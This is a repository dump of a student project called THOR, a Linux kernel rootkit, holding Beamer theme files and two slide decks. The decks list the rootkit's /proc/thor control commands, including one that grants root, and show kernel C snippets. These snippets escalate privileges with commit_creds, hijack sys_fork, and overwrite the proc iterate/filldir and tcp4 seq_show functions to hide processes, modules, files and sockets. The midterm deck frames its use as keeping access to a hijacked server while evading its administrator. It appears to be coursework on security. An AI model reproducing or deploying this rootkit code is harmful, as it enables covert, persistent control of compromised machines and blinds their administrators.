\definecolor{uared}{RGB}{126,0,47} 23 | \colorlet{uared100}{uared} 24 | \colorlet{uared75} {uared!75!white} 25 | \colorlet{uared50} {uared!50!white} 26 | \colorlet{uared25} {uared!25!white} 27 | \colorlet{uared10} {uared!10!white} 28 | \colorlet{uared5} {uared!5!white} 29 | 30 | \definecolor{vividbrown}{RGB}{215,154,70} 31 | \colorlet{vividbrown100}{vividbrown} 32 | \colorlet{vividbrown75} {vividbrown!75!white} 33 | \colorlet{vividbrown50} {vividbrown!50!white} 34 | \colorlet{vividbrown25} {vividbrown!25!white} 35 | \colorlet{vividbrown10} {vividbrown!10!white} 36 | \colorlet{vividbrown5} {vividbrown!5!white} 37 | % ========================================================================= 38 | 39 | 40 | \ifbeamer@dark% 41 | 42 | \setbeamercolor{structure}{fg=white}% 43 | \setbeamercolor{normal text}{fg=white}% 44 | \setbeamercolor{frametitle}{fg=white}% 45 | 46 | \else% 47 | 48 | \setbeamercolor{structure}{fg=black}% 49 | \setbeamercolor{normal text}{fg=black}% 50 | \setbeamercolor{frametitle}{fg=uablue}% 51 | 52 | \setbeamercolor{frame number in foot}{fg=white}% 53 | 54 | \ifbeamer@darktitle% 55 | \setbeamercolor{title}{fg=white}% 56 | \setbeamercolor{subtitle}{fg=white}% 57 | \else 58 | \setbeamercolor{subtitle}{fg=uared}% 59 | \fi 60 | 61 | \fi 62 | 63 | 64 | % ======================================================================= 65 | % alert color 66 | \setbeamercolor{alerted text}{fg=uared} 67 | % ======================================================================= 68 | 69 | % ======================================================================= 70 | % blocks 71 | \setbeamercolor{block title}{use=structure,fg=white,bg=uablue} 72 | \setbeamercolor{block title alerted}{use=alerted text,fg=white,bg=uared} 73 | \setbeamercolor{block title example}{use=example text,fg=white,bg=uablue} 74 | 75 | \setbeamercolor{block body} {fg=black,use=block title,bg=uablue10} 76 | \setbeamercolor{block body alerted}{fg=black,use=block title alerted,bg=uared10} 77 | \setbeamercolor{block body example}{fg=black,use=block title 78 | example,bg=uablue10} 79 | % ======================================================================= 80 | 81 | 82 | \mode 83 | 84 | -------------------------------------------------------------------------------- /doc/beamerfontthemeQE.sty: -------------------------------------------------------------------------------- 1 | % Copyright 2010 by Philipp Zech 2 | % 3 | % This file may be distributed and/or modified 4 | % 5 | % 1. under the LaTeX Project Public License and/or 6 | % 2. under the GNU Public License. 7 | 8 | \mode 9 | 10 | \setbeamerfont{title} {size=\Huge} 11 | \setbeamerfont{subtitle} {size=\Large} 12 | \setbeamerfont{frametitle}{size=\Large} 13 | 14 | 15 | \setbeamerfont{author}{size=\normalsize} 16 | \setbeamerfont{mail}{size=\normalsize} 17 | \setbeamerfont{normal}{size=\tiny} 18 | \setbeamerfont{frame number in foot}{size=\scriptsize} 19 | 20 | \mode 21 | 22 | -------------------------------------------------------------------------------- /doc/beamerinnerthemeQE.sty: -------------------------------------------------------------------------------- 1 | % Copyright 2010 by Philipp Zech 2 | % 3 | % This file may be distributed and/or modified 4 | % 5 | % 1. under the LaTeX Project Public License and/or 6 | % 2. under the GNU Public License. 7 | 8 | \mode 9 | 10 | \definecolor{uiorange}{RGB}{237,92,0} 11 | 12 | % ---------------------------------------------------------------------------- 13 | % *** TITLE PAGE <<< 14 | % ---------------------------------------------------------------------------- 15 | \defbeamertemplate*{title page}{qe theme} 16 | { 17 | \vspace{-2.8cm} 18 | \centering\usebeamerfont{title}\usebeamercolor[fg]{title}\inserttitle\par% 19 | \ifx\insertsubtitle\@empty% 20 | \else% 21 | \vskip2ex% 22 | {\centering\usebeamerfont{subtitle}\usebeamercolor[fg]{subtitle}\insertsubtitle\par}% 23 | \fi% 24 | \ifx\insertauthor\@empty% 25 | \else% 26 | \vskip2ex% 27 | {\centering\usebeamerfont{author}\usebeamercolor[fg]{author}\insertauthor\par}% 28 | \fi% 29 | \ifx\insertdate\@empty% 30 | \else% 31 | \vskip2ex% 32 | {\centering\usebeamerfont{author}\usebeamercolor[fg]{author}\insertdate\par}% 33 | \fi% 34 | \vspace{0.5cm} 35 | \small{\centering Quality and Security Program} 36 | \vfill% 37 | } 38 | % ---------------------------------------------------------------------------- 39 | % *** END TITLE PAGE >>> 40 | % ---------------------------------------------------------------------------- 41 | 42 | 43 | % ---------------------------------------------------------------------------- 44 | % *** BLOCKS <<< 45 | % ---------------------------------------------------------------------------- 46 | \setbeamertemplate{blocks}[rounded] 47 | % ---------------------------------------------------------------------------- 48 | % *** END BLOCKS >>> 49 | % ---------------------------------------------------------------------------- 50 | 51 | 52 | \mode 53 | 54 | -------------------------------------------------------------------------------- /doc/beamerouterthemeQE.sty: -------------------------------------------------------------------------------- 1 | % Copyright 2010 by Philipp Zech 2 | % 3 | % This file may be distributed and/or modified 4 | % 5 | % 1. under the LaTeX Project Public License and/or 6 | % 2. under the GNU Public License. 7 | 8 | % UA page geometry 9 | % \geometry{paperheight=7.5in,paperwidth=10.0in} 10 | % ... Hang on! As suggested in the manual, don't mess around with beamer's 11 | % assumed page dimensions (128mm x 96mm). Fonts, for example, do no get 12 | % automatically scaled and will look tiny if the above is executed. 13 | % Instead, define a multiplicator 12.8/(10.0*2.54) = 64/127 and adjust all 14 | % respective lengths. 15 | 16 | 17 | % ---------------------------------------------------------------------------- 18 | % *** required packages <<< 19 | % ---------------------------------------------------------------------------- 20 | \RequirePackage{calc} 21 | \RequirePackage{ifthen} 22 | % ---------------------------------------------------------------------------- 23 | % *** END required packages >>> 24 | % ---------------------------------------------------------------------------- 25 | 26 | \mode 27 | 28 | % ---------------------------------------------------------------------------- 29 | % *** DEFINE LENGTHS <<< 30 | % ---------------------------------------------------------------------------- 31 | \newlength{\margin} 32 | \setlength{\margin}{0.8832cm}% 0.69in* 64/127 *2.54cm/in 33 | 34 | \newlength{\ulogowidth} 35 | \setlength{\ulogowidth}{3.1992cm}% 0.87in* 64/127 *2.54cm/in 36 | \newlength{\ulogoheight} 37 | \setlength{\ulogoheight}{0.642cm}% 0.70364761837273193in* 64/127 *2.54cm/in 38 | \ifbeamer@dark\else% 39 | \newlength{\ulogopadding} 40 | % padding = distance from the rightmost point of the logo to where the U starts; 41 | % value approximately \ulogowidth*0.25 42 | \setlength{\ulogopadding}{0.2784cm} 43 | \fi 44 | % ---------------------------------------------------------------------------- 45 | % *** END DEFINE LENGTHS >>> 46 | % ---------------------------------------------------------------------------- 47 | 48 | 49 | % ---------------------------------------------------------------------------- 50 | % *** DEFINE IMAGES <<< 51 | % ---------------------------------------------------------------------------- 52 | \pgfdeclareimage[width=\ulogowidth]{ULogo}{gfx/qsp.png} 53 | 54 | % The text logo is a bit of a special case: 55 | % As given in the PowerPoint(R) slides, the logo is 3.12''x0.36'', the picture file 56 | % 449px x 52px. However, in the picture file, there is a margin of 57 | % left: 3px, right: 3px, top: 8px, bottom: 2px. 58 | % The PDF that we use here does not have any margins, so adapt the sizes here. 59 | \newlength{\textlogoheight} 60 | \setlength{\textlogoheight}{0.332778702cm}% 0.36in* 64/127 *2.54cm/in * 42px/52px 61 | \pgfdeclareimage[height=\textlogoheight]{uTextColor}{gfx/uibk_text} 62 | 63 | \ifthenelse{ \boolean{beamer@dark} \OR \boolean{beamer@darktitle} } 64 | % then 65 | {\pgfdeclareimage[width=\paperwidth]{uaBackgroundDark}{gfx/BackgroundDarkBlue}} 66 | %else 67 | {} 68 | 69 | \ifbeamer@dark% 70 | \pgfdeclareimage[width=\paperwidth]{uaBackgroundLight}{gfx/BackgroundLightBlue} 71 | \else% 72 | \newlength{\wavewidth} 73 | \setlength{\wavewidth}{7.9352cm}% 9.09in* 64/127 *2.54cm/in 74 | \newlength{\waveheight} 75 | \setlength{\waveheight}{0.4936cm}% 0.62in* 64/127 *2.54cm/in 76 | \pgfdeclareimage[width=\wavewidth,height=\waveheight]{uWave}{gfx/bottomwave} 77 | \fi 78 | % ---------------------------------------------------------------------------- 79 | % *** END DEFINE IMAGES <<< 80 | % ---------------------------------------------------------------------------- 81 | 82 | 83 | 84 | % ---------------------------------------------------------------------------- 85 | % *** HEADLINE <<< 86 | % ---------------------------------------------------------------------------- 87 | 88 | 89 | \ifthenelse{ \boolean{beamer@dark} \OR \(\boolean{beamer@darktitle}\AND\c@framenumber=1\) }{ 90 | % \defbeamertemplate*{headline}{ua theme}{}% 91 | }{ 92 | \newlength{\logotopmargin}% 93 | \setlength{\logotopmargin}{0.704cm}% 0.55in* 64/127 *2.54cm/in 94 | \defbeamertemplate*{headline}{ua theme}% 95 | {% 96 | \vskip\logotopmargin% 97 | \hskip\margin% 98 | \ifthenelse{ \boolean{beamer@dark} \OR \(\boolean{beamer@darktitle}\AND\c@framenumber=1\) } 99 | {% 100 | \vskip5cm% TODO: get rid of this quirk 101 | } 102 | {% 103 | \pgfuseimage{ULogo}% 104 | } 105 | } 106 | } 107 | % ---------------------------------------------------------------------------- 108 | % *** END HEADLINE <<< 109 | % ---------------------------------------------------------------------------- 110 | 111 | 112 | 113 | % ---------------------------------------------------------------------------- 114 | % *** FRAMETITLE <<< 115 | % ---------------------------------------------------------------------------- 116 | \newlength\frametitletopmargin 117 | \ifbeamer@compress% 118 | \setlength{\frametitletopmargin}{0.384cm}% 0.3in* 64/127 *2.54cm/in 119 | \else 120 | \setlength{\frametitletopmargin}{0.384cm}%0.9472cm}% 0.74in* 64/127 *2.54cm/in 121 | \fi 122 | 123 | \ifbeamer@darktitle\else% 124 | \newlength{\frametitlewidth} 125 | \setlength{\frametitlewidth}{\textwidth-\ulogowidth-\ulogopadding} 126 | \fi 127 | 128 | \defbeamertemplate*{frametitle}{ua theme} 129 | {% 130 | \ifbeamer@dark% 131 | % - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 132 | \vskip\frametitletopmargin% 133 | \raggedleft\insertframetitle\par% 134 | \raggedleft \small \insertframesubtitle\par 135 | % - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 136 | \else% 137 | \ifbeamer@darktitle% 138 | \nointerlineskip% 139 | \vskip-\ulogoheight% 140 | \vbox to \ulogoheight{% 141 | \vfil% 142 | \leftskip=\ulogowidth% 143 | \advance\leftskip by\ulogopadding% 144 | % TODO: employ `leftskip` here, get rid of \hfill 145 | \begin{beamercolorbox}[leftskip=\leftskip]{frame title}% 146 | \hfill\insertframetitle\par% 147 | \hfill \small \insertframesubtitle\par 148 | \end{beamercolorbox}% 149 | \vfil% 150 | }% 151 | \else% 152 | \medskip% 153 | \begin{beamercolorbox}[right]{frame title}% 154 | \insertframetitle\par% 155 | \hfill \small \insertframesubtitle\par 156 | \end{beamercolorbox}% 157 | \fi% 158 | \fi% 159 | } 160 | 161 | %\addtobeamertemplate{framesubtitle}{ua theme}{\insertframetitle%} 162 | 163 | % ---------------------------------------------------------------------------- 164 | % *** END FRAMETITLE >>> 165 | % ---------------------------------------------------------------------------- 166 | 167 | 168 | 169 | % ---------------------------------------------------------------------------- 170 | % *** FOOTLINE <<< 171 | % ---------------------------------------------------------------------------- 172 | % See the discussion above for the margin (pixel) quirks. 173 | \newlength{\textlogobottommarginDark} 174 | % actual bottom margin in the PowerPoint(R) theme: 7.5'' - 6.83'' - 0.36'' + 0.36'' * 2px/52px 175 | \setlength{\textlogobottommarginDark}{0.41452307692307688cm}% (7.5'' - 6.83'' - 0.36'' + 0.36'' * 2px/52px)* 64/127 *2.54cm/in 176 | \newcommand\uTextColorPosDark {\pgfpoint{\margin}{\textlogobottommarginDark}} 177 | 178 | \newlength{\textlogobottommarginLight} 179 | % actual bottom margin in the PowerPoint(R) theme: 7.5'' - 6.80'' - 0.36'' + 0.36'' * 2px/52px 180 | \setlength{\textlogobottommarginLight}{0.45292307692307715cm}% (7.5''-6.80''-0.36''+0.36''*2px/52px)* 64/127 *2.54cm/in 181 | \newcommand\uTextColorPosLight{\pgfpoint{\margin}{\textlogobottommarginLight}} 182 | 183 | \newlength{\logorightmargin}% 184 | \setlength{\logorightmargin}{12.1344cm}% 9.48in* 64/127 *2.54cm/in 185 | \newlength{\logobottommargin}% 186 | \setlength{\logobottommargin}{0.512cm}% 0.4in* 64/127 *2.54cm/in 187 | \newcommand\posUlogoFoot{\pgfpoint{\logorightmargin}{\logobottommargin}} 188 | 189 | \newcommand{\uWavePos}{\pgfpoint{\paperwidth}{0cm}} 190 | 191 | % - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 192 | \defbeamertemplate*{footline}{ua theme dark} 193 | {% 194 | \ifthenelse{ \boolean{beamer@dark} \OR \(\boolean{beamer@darktitle}\AND\c@framenumber=1\) } 195 | % *** THEN *** 196 | {% 197 | \pgftext[left,bottom,at=\uTextColorPosDark]{\pgfuseimage{uTextColor}}% 198 | \pgftext[right,bottom,at=\posUlogoFoot]{\pgfuseimage{ULogo}}% 199 | } 200 | % *** ELSE *** 201 | {% 202 | \ifthenelse{\c@framenumber=1 \OR \NOT \boolean{beamer@compress}} 203 | % then 204 | {% 205 | \pgftext[left,bottom,at=\uTextColorPosLight]{\pgfuseimage{uTextColor}}% 206 | }% 207 | % else 208 | {}% 209 | \pgftext[right,bottom,at=\uWavePos]{\pgfuseimage{uWave}}% 210 | % \ifbeamer@framenumber% 211 | \ifnum\c@framenumber=1\else 212 | \pgftext[right,bottom,at=\pgfpoint{0.98\paperwidth}{0.01\paperwidth}]{% 213 | \usebeamerfont{frame number in foot}% 214 | \usebeamercolor[white]{frame number in foot}\insertframenumber{}/\inserttotalframenumber% 215 | }% 216 | \fi 217 | % \fi% 218 | } 219 | }% 220 | % - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 221 | 222 | % ---------------------------------------------------------------------------- 223 | % *** END of FOOTLINE >>> 224 | % ---------------------------------------------------------------------------- 225 | 226 | 227 | % ---------------------------------------------------------------------------- 228 | % *** MARGINS <<< 229 | % ---------------------------------------------------------------------------- 230 | % set left and right text margins 231 | \setbeamersize{text margin left=\margin,% 232 | text margin right=\margin} 233 | % ---------------------------------------------------------------------------- 234 | % *** END MARGINS >>> 235 | % ---------------------------------------------------------------------------- 236 | 237 | 238 | 239 | % ---------------------------------------------------------------------------- 240 | % *** BACKGROUND <<< 241 | % ---------------------------------------------------------------------------- 242 | \defbeamertemplate*{background canvas}{ua theme} 243 | {% 244 | \ifthenelse{ \boolean{beamer@dark} \OR \(\boolean{beamer@darktitle}\AND\c@framenumber=1\) } 245 | % *** THEN *** 246 | {% 247 | \ifnum\c@framenumber=1% 248 | \pgfuseimage{uaBackgroundDark} 249 | \else% 250 | \pgfuseimage{uaBackgroundLight}% 251 | \fi% 252 | } 253 | % *** ELSE *** 254 | {} 255 | } 256 | % ---------------------------------------------------------------------------- 257 | % *** END BACKGROUND <<< 258 | % ---------------------------------------------------------------------------- 259 | 260 | \mode 261 | 262 | -------------------------------------------------------------------------------- /doc/beamerthemeQE.sty: -------------------------------------------------------------------------------- 1 | % Copyright 2010 by Philipp Zech 2 | % 3 | % This file may be distributed and/or modified 4 | % 5 | % 1. under the LaTeX Project Public License and/or 6 | % 2. under the GNU Public License. 7 | 8 | 9 | % ------------------------------------------------------------------------- 10 | % introduce options 11 | \DeclareOptionBeamer{compress}{\beamer@compresstrue} 12 | 13 | \newif\ifbeamer@dark 14 | \beamer@darkfalse 15 | \DeclareOptionBeamer{dark}{\beamer@darktrue} 16 | 17 | \newif\ifbeamer@darktitle 18 | \beamer@darktitlefalse 19 | \DeclareOptionBeamer{darktitle}{\beamer@darktitletrue} 20 | 21 | \newif\ifbeamer@framenumber 22 | \beamer@framenumberfalse 23 | \DeclareOptionBeamer{framenumber}{\beamer@framenumbertrue} 24 | 25 | \ProcessOptionsBeamer 26 | % ------------------------------------------------------------------------- 27 | 28 | \mode 29 | 30 | \useinnertheme{QE} 31 | \usefonttheme {QE} 32 | \usecolortheme{QE} 33 | \useoutertheme{QE} 34 | 35 | \mode 36 | 37 | \setbeamertemplate{navigation symbols}{} 38 | \usepackage[T1]{fontenc} 39 | \usefonttheme{professionalfonts} 40 | -------------------------------------------------------------------------------- /doc/final.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'THOR' 3 | subtitle: 'The ~~Horrific~~ Hopefully Omnipotent Rootkit' 4 | author: [ 5 | Alex Hirsch, 6 | FraJo Haider, 7 | ] 8 | date: 2015-01-30 9 | --- 10 | 11 | # Intro 12 | 13 | ## Features 14 | 15 | - works with recent kernel 16 | - x86_64 17 | - ARM (BeagleBone Black) 18 | - hide files by suffix (`__thor`) 19 | - hide kernel modules 20 | - hide processes 21 | - hide sockets 22 | - automatically handles forked processes 23 | - hijack kernel functions 24 | - may not always work 25 | - *may lead to race conditions, kernel panics and other problems* 26 | 27 | # Communication 28 | 29 | ## Usage 30 | 31 | usage: 32 | echo hp PID > /proc/thor (hides process PID) 33 | echo up PID > /proc/thor (unhides process PID) 34 | echo upa > /proc/thor (unhide all PIDs) 35 | echo hm MODULE > /proc/thor (hide module) 36 | echo um MODULE > /proc/thor (unhide module) 37 | echo uma > /proc/thor (unhide all modules) 38 | echo root > /proc/thor (gain root privileges) 39 | 40 | # Gain Root Privileges 41 | 42 | ## `commit_creds()` 43 | 44 | ```{.c .numberLines} 45 | /* ... */ 46 | 47 | } else if (strncmp(buffer, "root", MIN(4, count)) == 0) { 48 | 49 | commit_creds(prepare_kernel_cred(0)); 50 | 51 | } 52 | ``` 53 | 54 | # Handling Forks 55 | 56 | ## Init and Cleanup 57 | 58 | ```{.c .numberLines} 59 | static long (*sys_fork)(void); 60 | 61 | int pidhider_init(void) 62 | { 63 | /* ... */ 64 | 65 | sys_fork = (void*) kallsyms_lookup_name("sys_fork"); 66 | 67 | /* error handling */ 68 | 69 | hijack(sys_fork, thor_fork); 70 | } 71 | 72 | void pidhider_cleanup(void) 73 | { 74 | if (sys_fork != NULL) { 75 | unhijack(sys_fork); 76 | } 77 | } 78 | ``` 79 | 80 | ## `thor_fork()` 81 | 82 | ```{.c .numberLines} 83 | static long thor_fork(void) 84 | { 85 | bool hidden = is_pid_hidden(current->pid); 86 | long ret; 87 | 88 | unhijack(sys_fork); 89 | ret = sys_fork(); 90 | hijack(sys_fork, thor_fork); 91 | 92 | /* if mother process was hidden child process */ 93 | if(hidden && ret != -1 && ret != 0) { 94 | add_to_pid_list((unsigned short) ret); 95 | } 96 | 97 | return ret; 98 | } 99 | ``` 100 | 101 | # Hijacking Explained (DEMO) 102 | 103 | ## Simpler method 104 | 105 | Will be shown in the next part. 106 | 107 | # Hiding Process 108 | 109 | ## Init 110 | 111 | ```{.c .numberLines} 112 | int pidhider_init(void) 113 | { 114 | /* ... */ 115 | 116 | /* insert our modified iterate for /proc */ 117 | procroot = procfile->parent; 118 | proc_fops = (struct file_operations*) procroot->proc_fops; 119 | 120 | /* store original iterate function */ 121 | orig_proc_iterate = proc_fops->iterate; 122 | 123 | iterate_addr = (void*) &(thor_proc_iterate); 124 | write_no_prot(&proc_fops->iterate, &iterate_addr, sizeof(void*)); 125 | 126 | /* ... */ 127 | 128 | return 0; 129 | } 130 | ``` 131 | 132 | ## Cleanup 133 | 134 | ```{.c .numberLines} 135 | void pidhider_cleanup(void) 136 | { 137 | if (proc_fops != NULL && orig_proc_iterate != NULL) { 138 | void *iterate_addr = orig_proc_iterate; 139 | 140 | write_no_prot(&proc_fops->iterate, &iterate_addr, sizeof(void*)); 141 | } 142 | 143 | /* ... */ 144 | } 145 | ``` 146 | 147 | ## `thor_proc_iterate()` 148 | 149 | ```{.c .numberLines} 150 | static int thor_proc_iterate(struct file *file, struct dir_context *ctx) 151 | { 152 | int ret; 153 | filldir_t *ctx_actor; 154 | 155 | /* capture original filldir function */ 156 | orig_proc_filldir = ctx->actor; 157 | 158 | /* cast away const from ctx->actor */ 159 | ctx_actor = (filldir_t*) (&ctx->actor); 160 | 161 | /* store our filldir in ctx->actor */ 162 | *ctx_actor = thor_proc_filldir; 163 | ret = orig_proc_iterate(file, ctx); 164 | 165 | /* restore original filldir */ 166 | *ctx_actor = orig_proc_filldir; 167 | 168 | return ret; 169 | } 170 | ``` 171 | 172 | ## `thor_proc_filldir()` 173 | 174 | ```{.c .numberLines} 175 | static int thor_proc_filldir(void *buf, const char *name, int namelen, 176 | loff_t offset, u64 ino, unsigned d_type) 177 | { 178 | 179 | /* ... */ 180 | 181 | /* hide specified PIDs */ 182 | list_for_each_entry(tmp, &(pid_list.list), list) { 183 | if (pid == tmp->pid) { 184 | return 0; 185 | } 186 | } 187 | 188 | /* hide thor itself */ 189 | if (strcmp(name, THOR_PROCFILE) == 0) { 190 | return 0; 191 | } 192 | 193 | return orig_proc_filldir(buf, name, namelen, offset, ino, d_type); 194 | } 195 | ``` 196 | 197 | # Hiding Kernel Modules 198 | 199 | ## - 200 | 201 | similar to the previous one 202 | 203 | # Hiding Files 204 | 205 | ## - 206 | 207 | similar to the previous one 208 | 209 | # Hiding Sockets 210 | 211 | ## Init and Cleanup 212 | 213 | ```{.c .numberLines} 214 | typedef int (*seq_show_fun)(struct seq_file*, void*); 215 | 216 | static seq_show_fun orig_tcp4_seq_show; 217 | 218 | int sockethider_init(void) 219 | { 220 | orig_tcp4_seq_show = replace_tcp_seq_show(thor_tcp4_seq_show, 221 | "/proc/net/tcp"); 222 | 223 | /* ... */ 224 | } 225 | 226 | void sockethider_cleanup(void) 227 | { 228 | replace_tcp_seq_show(orig_tcp4_seq_show, "/proc/net/tcp"); 229 | 230 | /* ... */ 231 | } 232 | ``` 233 | 234 | ## `replace_tcp_seq_show()` 235 | 236 | ```{.c .numberLines} 237 | static seq_show_fun replace_tcp_seq_show(seq_show_fun new_seq_show, 238 | const char *path) 239 | { 240 | void *old_seq_show; 241 | struct file *filp; 242 | struct tcp_seq_afinfo *afinfo; 243 | 244 | if ((filp = filp_open(path, O_RDONLY, 0)) == NULL) 245 | return NULL; 246 | 247 | afinfo = PDE_DATA(filp->f_dentry->d_inode); 248 | 249 | old_seq_show = afinfo->seq_ops.show; 250 | 251 | afinfo->seq_ops.show = new_seq_show; 252 | 253 | filp_close(filp, 0); 254 | 255 | return old_seq_show; 256 | } 257 | ``` 258 | 259 | ## `thor_tcp4_seq_show()` 260 | 261 | ```{.c .numberLines} 262 | static int thor_tcp4_seq_show(struct seq_file *seq, void *v) 263 | { 264 | /* hide port */ 265 | if (v != SEQ_START_TOKEN && is_socket_process_hidden(v)) 266 | return 0; 267 | 268 | /* call original */ 269 | return orig_tcp4_seq_show(seq, v); 270 | } 271 | ``` 272 | 273 | # Outro 274 | 275 | ## Take a look 276 | 277 | Github: 278 | 279 | \centerline{\includegraphics[height=160px]{gfx/qrcode.png}} 280 | 281 | # In Action (DEMO) 282 | -------------------------------------------------------------------------------- /doc/final.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/final.pdf -------------------------------------------------------------------------------- /doc/gfx/BackgroundDarkBlue.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/BackgroundDarkBlue.pdf -------------------------------------------------------------------------------- /doc/gfx/BackgroundLightBlue.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/BackgroundLightBlue.pdf -------------------------------------------------------------------------------- /doc/gfx/bottomwave.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/bottomwave.pdf -------------------------------------------------------------------------------- /doc/gfx/dafuq.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/dafuq.jpg -------------------------------------------------------------------------------- /doc/gfx/kernel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/kernel.png -------------------------------------------------------------------------------- /doc/gfx/kernel_map.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/kernel_map.png -------------------------------------------------------------------------------- /doc/gfx/problems.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/problems.jpg -------------------------------------------------------------------------------- /doc/gfx/qrcode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/qrcode.png -------------------------------------------------------------------------------- /doc/gfx/qsp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/qsp.png -------------------------------------------------------------------------------- /doc/gfx/rootkit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/rootkit.jpg -------------------------------------------------------------------------------- /doc/gfx/uibk_text.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/W4RH4WK/THOR/22e0f4a1f904acf9ba37a3c376cfb6724fa1244b/doc/gfx/uibk_text.pdf -------------------------------------------------------------------------------- /doc/midterm.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 'THOR' 3 | subtitle: 'The ~~Horrific~~ Hopefully Omnipotent Rootkit' 4 | author: [ 5 | Alex Hirsch, 6 | FraJo Haider, 7 | ] 8 | date: 2014-12-01 9 | --- 10 | 11 | ## The Linux Kernel 12 | 13 | \centerline{\includegraphics[height=170px]{gfx/kernel.png}} 14 | \tiny{source: \url{http://sysplay.in/blog/linux-device-drivers/2013/02}} 15 | 16 | ## Internals 17 | 18 | \centerline{\includegraphics[height=170px]{gfx/kernel_map.png}} 19 | \tiny{source \url{http://en.wikipedia.org/wiki/Linux_kernel}} 20 | 21 | ## Dafuq? 22 | 23 | \centerline{\includegraphics[height=180px]{gfx/dafuq.jpg}} 24 | 25 | ## Okay Okay ... Imagine 26 | 27 | - you are a student doing some ... ehm .. *research* 28 | - you managed to hijack a server, acquired root privileges and now what? 29 | 30 | - you could fool around, delete files, load some torrents, because `` 32 | - use the server as proxy to do even more ~~evil~~ *research oriented* stuff 33 | 34 | But sooner or later the admin may recognize that the server has been 35 | compromised, and lock you out. 36 | 37 | ## Solution: **Rootkit** 38 | 39 | \centerline{\includegraphics[height=180px]{gfx/rootkit.jpg}} 40 | 41 | ## Main Usage 42 | 43 | - provides backdoor 44 | - hides suspicious activities 45 | - open ports 46 | - suspicious processes 47 | - files 48 | - **hides its own presences** 49 | 50 | ## Why Kernel Module 51 | 52 | - **more power**, kernel space > user space 53 | 54 | In general system administration tools invoke *system calls* to retrieve 55 | information directly from the kernel. Hence compromising the *root of 56 | information* by overwriting certain system calls will render most 57 | administration tools useless. 58 | 59 | ## Kernel Module Basics 60 | 61 | - can be loaded / unloaded dynamically using `insmod` / `rmmod` as root 62 | - can be loaded at boot 63 | - *Linux Headers* provide an API 64 | - communication via *files* (usually located in `/proc`) 65 | 66 | ## Problems 67 | 68 | \centerline{\includegraphics[height=180px]{gfx/problems.jpg}} 69 | 70 | ## Problems 71 | 72 | - few example code for up2date kernels 73 | - Headers do not export enough, hence complete source is required 74 | - hijacking systemcalls is not really encouraged by the developers (race 75 | conditions / undefined behaviour) 76 | - *yeah, no shit sherlock* 77 | 78 | ## Current State 79 | 80 | - communication using file in `/proc` 81 | - basic hiding of files by name 82 | - basic hiding of processes by PID 83 | - root shell 84 | - hiding of sockets ... work in progress 85 | - working in 3.14 (Arch LTS) and 3.17 (Arch Current) 86 | 87 | ## `pidhider_init()` 88 | 89 | ```{.c .numberLines} 90 | static int __init pidhider_init(void) 91 | { 92 | // insert our modified iterate for /proc 93 | procroot = procfile->parent; 94 | proc_fops = (struct file_operations*)procroot->proc_fops; 95 | 96 | orig_proc_iterate = proc_fops->iterate; 97 | 98 | set_addr_rw(proc_fops); 99 | 100 | proc_fops->iterate = thor_proc_iterate; 101 | 102 | set_addr_ro(proc_fops); 103 | 104 | INIT_LIST_HEAD(&pid_list.list); 105 | 106 | return 0; 107 | } 108 | ``` 109 | 110 | ## `proc_iterate()` 111 | 112 | ```{.c .numberLines} 113 | static int thor_proc_iterate(struct file *file, struct dir_context *ctx) 114 | { 115 | int ret; 116 | filldir_t *ctx_actor; 117 | 118 | // capture original filldir function 119 | orig_proc_filldir = ctx->actor; 120 | 121 | // cast away const from ctx->actor 122 | ctx_actor = (filldir_t*)(&ctx->actor); 123 | 124 | // store our filldir in ctx->actor 125 | *ctx_actor = thor_proc_filldir; 126 | ret = orig_proc_iterate(file, ctx); 127 | 128 | // restore original filldir 129 | *ctx_actor = orig_proc_filldir; 130 | 131 | return ret; 132 | } 133 | ``` 134 | 135 | ## `proc_filldir()` 136 | 137 | ```{.c .numberLines} 138 | static int thor_proc_filldir(void *buf, const char *name, int namelen, 139 | loff_t offset, u64 ino, unsigned d_type) 140 | { 141 | struct _pid_list *tmp; 142 | 143 | // hide specified PIDs 144 | list_for_each_entry(tmp, &(pid_list.list), list) 145 | { 146 | if(0 == strcmp(name, tmp->name)) return 0; 147 | } 148 | 149 | // hide thor itself 150 | if (0 == strcmp(name, THOR_PROCFILE)) return 0; 151 | 152 | return orig_proc_filldir(buf, name, namelen, offset, ino, d_type); 153 | } 154 | ``` 155 | 156 | ## Take a look 157 | 158 | Github: 159 | 160 | \centerline{\includegraphics[height=160px]{gfx/qrcode.png}} 161 | -------------------------------------------------------------------------------- /doc/midterm.pdf: 